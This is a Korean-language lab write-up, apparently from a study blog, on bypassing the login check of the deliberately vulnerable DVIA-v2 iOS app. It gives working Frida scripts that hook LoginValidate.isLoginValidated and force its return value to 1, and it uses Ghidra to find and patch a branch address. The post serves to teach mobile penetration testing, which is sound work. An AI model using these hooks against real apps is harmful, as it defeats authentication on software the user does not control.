[목차]

 

1. Runtime Manipulation

2. 런타임 조작 실습

     - 클래스/메서드 검색하여 실습

     - 기드라 분석 실습

 

 

 

 

 

 

1. Runtime Manipulation

     – 런타임 조작은 앱이 실행될 때 흐름 조작 및 정보 유출 등이 가능한 취약점

          > 탈옥 탐지 우회 역시 런타임 조작 취약점으로 볼 수 있음

     – 런타임 조작을 사용하여 인스턴스 변수를 수정하고,

        로컬 로그인 검사를 우회하고, 무차별 강제 핀 코드를 사용 가능

 

 


 

 

2. 런타임 조작 실습

# 공략 방법

분석 방법 정하기(디버깅으로 주솟값+반환값 확인 또는 클래스 검색)

> 힌트 찾기 > 분석 방법에 따른 코드 작성 > 응답 값 변조

 

 

# 힌트 키워드 찾기

DVIA 앱에서 [Runtime Manipulation] 메뉴 선택 후

Login Method 1 팝업 내 에러 메시지 확인

 

- 데이터 미 입력 후 로그인 시도 시

 

Error

One or more input fields is empty

 

 

 

- 입력한 계정정보가 맞지 않는 경우 에러 메시지

Oops

Incorrect Username or Password

 

 

 

어느 경우든 로그인 시 입력 값을 검증하기 때문에

키워드는 Login이 될 수 있고 Ghidra로 분석해

변조하는 경우에는 에러 메시지 문구 자체를

검색하면 되겠다.

 

 

 

# 클래스 검색하여 조작 실습

(1) 클래스 찾기

// (1) ObjC 라는 문법 사용 및 실행이 가능한지 확인
if(ObjC.available){    
	for(var classname in ObjC.classes)
		console.log(classname)	
} 
 

찾으려는 클래스의 키워드는 Login

 

 

 

 

(2) 메서드 찾기

if(ObjC.avaliable){
    var classname = "LoginValidate"
    var methods = ObjC.classes[classname].$ownMethods
    //console.log(methods)
    for(var i=0 ; i<methods.length ; i++){
        console.log(methods[i])
    }
}
 

 

 

 

(3) 반환 값 확인

if(ObjC.available){
	var classname = "LoginValidate"
	var methodname = "isLoginValidated"
	var hook = ObjC.classes[classname][methodname]
	
	Interceptor.attach(hook.implementation,{
		onLeave:function(retval){
            console.log("Runtime 조작")
			console.log("[+] 클래스 명: " + classname)
			console.log("[+] 메소드 명: " + methodname)
			console.log("[+] 반환 값 타입: " + hook.returnType)
			console.log("[+] 반환 값: " + retval)
		}
	})
}
 

 

boolean 타입이고 현재 반환 값은 0,

해당 값을 1로 조작해 주면

로그인 우회가 가능하겠다.

 

 

 

 

(4) 변조 시도

if(ObjC.available){
	var classname = "LoginValidate"
	var methodname = "isLoginValidated"
	var hook = ObjC.classes[classname][methodname]
	
	Interceptor.attach(hook.implementation,{
		onLeave:function(retval){
			console.log("Runtime 조작")
			console.log("[+] 클래스 명: " + classname)
			console.log("[+] 메소드 명: " + methodname)
			console.log("[+] 반환 값 타입: " + hook.returnType)
			console.log("[+] 반환 값: " + retval)
			
			var new_retval = ptr("0x1")
			retval.replace(new_retval)
		}
	})
}
 

 

 

 

로그인 인증 우회 성공!

 

 

 

# 전체 코드

 

/*
// (1) 클래스 찾기
if(ObjC.available){
	for(var classname in ObjC.classes)
		console.log(classname)	
}


// (2) 메서드 찾기
if(ObjC.available){
	var classname = "LoginValidate"
	var methods = ObjC.classes[classname].$ownMethods
	//console.log(methods)
	for(var i=0 ; i<methods.length ; i++){
		console.log(methods[i])
	}
}

// (3) 반환 값 확인
if(ObjC.available){
	var classname = "LoginValidate"
	var methodname = "isLoginValidated"
	var hook = ObjC.classes[classname][methodname]
	
	Interceptor.attach(hook.implementation,{
		onLeave:function(retval){
			console.log("Runtime 조작")
			console.log("[+] 클래스 명: " + classname)
			console.log("[+] 메소드 명: " + methodname)
			console.log("[+] 반환 값 타입: " + hook.returnType)
			console.log("[+] 반환 값: " + retval)
		}
	})
}
*/

// (4) 반환 값 조작
if(ObjC.available){
	var classname = "LoginValidate"
	var methodname = "isLoginValidated"
	var hook = ObjC.classes[classname][methodname]
	
	Interceptor.attach(hook.implementation,{
		onLeave:function(retval){
			console.log("Runtime 조작")
			console.log("[+] 클래스 명: " + classname)
			console.log("[+] 메소드 명: " + methodname)
			console.log("[+] 반환 값 타입: " + hook.returnType)
			console.log("[+] 반환 값: " + retval)
			
			var new_retval = ptr("0x1")
			retval.replace(new_retval)
			console.log("[+] 변조 시킨 반환 값 : " + new_retval)
			console.log("[+] 로그인 우회 성공!!!!!!!!!!!!!")
		}
	})
}
 
 

 

 

 


 

 

 

# 기드라 사용 실습

 

(1) 로직 확인

(1-1) 키워드 검색으로 참조하고 있는 주소 확인

총 세 군데에서 참조 중인데

Application Patching 어쩌구는

다른 취약점 항목이라 넘어가고

나머지 두 곳만 보면 되겠다.

 

(1-2) 분기점 및 반환 값 확인

 

분기점에서 값이 0인 경우(If)

아래로 내려가 Incorrect~ 에러가

뜨는데 이를 1로 변환 시

목표 지점인 오른쪽으로

우회 시킬 수 있겠다.

 

(1-3) 분기점 주소 확인

0x1bd314

(2) DVIA 바이너리 변조

코드 작성 후

//(1) 실 주소 확인 후 변조
var realBase = Module.findBaseAddress('DVIA-v2')
console.log("[+] ASLR로 바뀐 바이너리 실제 메모리 주소 : " + realBase)

var jailBreak_address = realBase.add('0x1bd314')
console.log("[+] 분기점 실제 주소 : " + jailBreak_address)


//(2) 반환 값 변조 
Interceptor.attach(jailBreak_address,{
	onEnter:function(args){
		console.log("[+] 변조 전 반환 값 : ")
		console.log(JSON.stringify(this.context))
		this.context.x0 = 0x1
		console.log("[+] 변조 후 반환 값 : ")
		console.log(JSON.stringify(this.context))
	}
})
 

 

돌려보면

인증 우회 성공!

 

 

 


 

[도움 출처]

: 보안프로젝트 김태영 팀장 iOS 모바일 앱 모의해킹(기초) 강의

 

 

728x90

+ Recent posts